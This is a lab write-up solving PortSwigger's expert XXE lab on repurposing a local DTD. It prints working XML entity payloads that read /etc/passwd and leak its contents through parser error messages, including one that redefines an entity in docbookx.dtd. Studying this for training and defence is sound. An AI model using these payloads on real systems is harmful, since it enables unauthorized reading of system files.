Labs Covered
This write-up focuses on the following EXPERT-level lab from the PortSwigger Web Security Academy related to XML External Entity (XXE) Injection:
9 Exploiting XXE to retrieve data by repurposing a local DTD
This lab demonstrates advanced XXE exploitation by repurposing a local Document Type Definition (DTD) to extract sensitive data.
LAB 9 - Exploiting XXE to retrieve data by repurposing a local DTD
Lab Description
Solution
📘 XXE Exploitation using Local DTD
After exploring common XXE exploitation methods, it’s important to understand how to exploit XXE using a local DTD. This technique becomes valuable when:
- External DTD declarations are blocked.
- Data cannot be retrieved via in-band or out-of-band channels.
❓ When to Use Local DTD?
Use Local DTD exploitation when:
- The application doesn’t reflect your injected entities (no in-band leakage).
- Out-of-band (OOB) channels are filtered or restricted.
- External DTD inclusion (via
SYSTEM "http://...") is blocked.
🔍 XXE Testing Methodology (Local DTD Focus)
- Modify the XML structure with a test payload to see how the parser behaves.
- Attempt to declare a reference or parameter entity, even if it appears blocked.
- Use file-based protocol handler (like
file://) to test for file-based reads.- Try pointing to a non-existent path to see if an error is triggered.
- You can also test for indirect access by observing logs like:
tail -f /var/log/apache2/access.log
🧪 Initial Testing
Even if you receive an “Invalid product ID” error, try injecting:
<!ENTITY test SYSTEM "file:///etc/passwd">
You may receive a parser error showing the path (etc/passwd), which confirms the parser is processing your entity declaration.
🔧 Enumerating Files with Forced Errors
To trigger file reads, use invalid paths like:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///invalid/%file;'>">
%eval;
%error;
This causes the parser to request:
file:///invalid/<contents-of-passwd>,
which will return an error and potentially leak the file’s contents inside the error message.
📁 Using Pre-Existing Local DTD
If an internal file such as /usr/share/yelp/dtd/docbookx.dtd exists, it can be leveraged as a local DTD:
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
Although this is technically an external entity, it points to a file within the local system, bypassing the network restriction.
💣 Full Payload Example
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
Explanation:
%file;contains the contents of/etc/passwd%eval;dynamically defines another entity%error;that requests an invalid path like/nonexistent/<file_contents>- This triggers a parser error, revealing the contents in the error message
Lab is solved as we get passwd file